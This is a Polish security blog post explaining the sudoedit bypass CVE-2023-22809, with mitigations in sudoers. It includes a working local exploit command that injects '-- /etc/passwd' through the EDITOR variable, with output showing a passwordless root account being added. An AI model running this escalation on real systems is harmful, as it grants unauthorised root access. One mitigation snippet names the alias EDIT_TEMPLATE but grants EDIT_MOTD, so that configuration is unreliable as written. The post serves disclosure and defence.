NFsec Logo

Obejście polecenia sudoedit w sudo <= 1.9.12p1 (CVE-2023-22809)

19/01/2023 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 845, ilość słów: 451)

M

atthieu Barjole oraz Victor Cutillas z Synacktiv zgłosili podatność w sudoedit (sudo -e), która pozwala złośliwemu użytkownikowi z uprawnieniami sudoedit na edycję dowolnych plików. Podatność dotyczy wersji sudo od 1.8.0 do 1.9.12p1 włącznie. Wersje sudo sprzed wydania 1.8.0 konstruują wektor argumentów w inny sposób i nie są dotknięte tym błędem. Przypomnijmy, że sudo (su “do”) to najpopularniejszy program w systemach Linux, który pozwala administratorowi systemu delegować uprawnienia wybranym użytkownikom (lub grupom użytkowników) dając im możliwość uruchamiania niektórych (lub wszystkich) poleceń jako administrator (root) lub inny użytkownik, zapewniając jednocześnie ścieżkę audytu poleceń i ich argumentów.

Na czym polega błąd?

Program sudo używa zmiennych środowiskowych dostarczonych przez użytkownika (np. $EDITOR, $SUDO_EDITOR, $VISUAL), aby umożliwić użytkownikowi wybór jego ulubionego edytora. Po wywołaniu polecenia sudo -e lub sudoedit wywoływany jest wspomniany edytor, który zostanie wykorzystany do edycji uprzywilejowanych plików. Niestety treść tych zmiennych rozszerza faktyczne polecenie przekazywane do funkcji sudo_edit() wewnątrz programu. Funkcja ta opiera się na obecności argumentu “--“, by określić listę plików do edycji. Wstrzyknięcie dodatkowego argumentu “--” w jednej z dopuszczalnych zmiennych środowiskowych może zmienić tę listę i doprowadzić do eskalacji uprawnień (ang. privilege escalation) poprzez edycję dowolnego innego pliku z uprawnieniami użytkownika RunAs. Problem ten występuje po sprawdzeniu poprawności polityki umieszczonej w pliku /etc/sudoers.

Wykorzystanie podatności:

Użytkownik blogeditor ma przyznane prawa do edycji pliku: /var/www/static_template.conf, na podstawie którego generowane są statyczne strony na serwerze WWW.

root@darkstar:~# cat /etc/sudoers | grep blogeditor
blogeditor ALL=(ALL:ALL) sudoedit /var/www/static_template.conf

Jednakże modyfikując odpowiednio zmienną $EDITOR może doprowadzić do edycji wstrzykniętego pliku /etc/passwd dodając sobie kolejne konto z uprawnieniami administratora:

blogeditor@darkstar:~$ EDITOR='nano -- /etc/passwd' sudoedit /var/www/static_template.conf
[sudo] password for blogeditor:
sudoedit: --: editing files in a writable directory is not permitted
sudoedit: /var/www/static_template.conf unchanged
blogeditor@darkstar:~$ head -2 /etc/passwd
r00t::0:0:r00t:/r00t:/bin/bash
root:x:0:0:root:/root:/bin/bash

Mitygacja:

W przypadku dostępnej aktualizacji (sudo apt update; sudo apt --only-upgrade install sudo) za pomocą odpowiedniej konfiguracji sudoedit można zapobiec używaniu edytora określonego przez użytkownika, dodając następującą linijkę do pliku /etc/sudoers:

Defaults!sudoedit    env_delete+="SUDO_EDITOR VISUAL EDITOR"

W celu ograniczenia zmiennych edytora podczas edycji określonych plików należy użyć opcji Cmnd_Alias:

Cmnd_Alias               EDIT_TEMPLATE = sudoedit /var/www/static_template.conf
Defaults!EDIT_TEMPLATE   env_delete+="SUDO_EDITOR VISUAL EDITOR"
blogeditor               ALL = EDIT_MOTD

W ten sposób zmienne przekazywane przez użytkownika zostaną usunięte:

blogeditor@darkstar:~$ EDITOR='nano -- /etc/passwd' sudoedit /var/www/static_template.conf
[sudo] password for blogeditor:
sudoedit: /var/www/static_template.conf unchanged

Dodatkowo, jeśli interesuje nas narzędzie do identyfikowania i wykorzystywania błędnych konfiguracji i luk w zabezpieczeniach programu sudo w celu eskalacji uprawnień – powinniśmy zapoznać się z projektem SUDO_KILLER.

Więcej informacji: Sudoedit bypass in Sudo <= 1.9.12p1, Sudoedit can edit arbitrary files

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , ,

Komentowanie tego wpisu jest zablokowane.